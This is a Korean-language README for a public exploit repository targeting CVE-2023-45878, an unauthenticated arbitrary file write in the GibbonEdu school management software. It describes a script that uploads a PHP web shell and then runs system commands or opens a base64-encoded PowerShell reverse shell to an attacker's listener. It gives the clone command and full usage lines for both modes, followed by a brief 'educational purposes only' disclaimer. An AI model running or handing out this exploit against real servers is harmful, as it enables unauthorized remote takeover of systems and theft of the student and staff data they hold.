CVE-2023-45878

GibbonEdu 임의 파일 쓰기를 통한 웹쉘 실행

설명

이 저장소는 CVE-2023-45878에 대한 익스플로잇을 포함하고 있습니다. 이는 GibbonEdu의 임의 파일 쓰기 취약점으로, rubrics_visualise_saveAjax.php 엔드포인트에 영향을 미치며, 인증되지 않은 공격자가 웹 서버에 임의의 파일을 업로드할 수 있게 합니다.

이 스크립트는 해당 취약점을 이용하여 PHP 웹쉘을 업로드하고 다음 중 하나를 수행합니다:

• 특정 시스템 명령 실행;
• base64로 인코딩된 PowerShell 리버스 셸을 트리거하여 원격 접근 획득.

사용법

스크립트는 두 가지 작동 모드를 지원합니다:

• --command (-c): 원격으로 특정 시스템 명령 실행.
• --shell (-s): 공격자 리스너로 PowerShell 리버스 셸 트리거.

익스플로잇 실행 방법

1. 저장소 클론

git clone https://github.com/davidzzo23/CVE-2023-45878.git
cd CVE-2023-45878

2. 웹쉘 익스플로잇 실행

• 원격 명령 실행:

python3 CVE-2023-45878.py -t <target_domain> -c "whoami"

• PowerShell 리버스 셸 트리거:

python3 CVE-2023-45878.py -t <target_domain> -s -i <ip> -p <port>

면책 조항

이 스크립트는 교육 목적으로만 제공됩니다. 허가 없이 시스템에서 이 익스플로잇을 무단 사용하는 것은 불법입니다. 저자는 이 익스플로잇의 오용이나 발생하는 손해에 대해 책임을 지지 않습니다.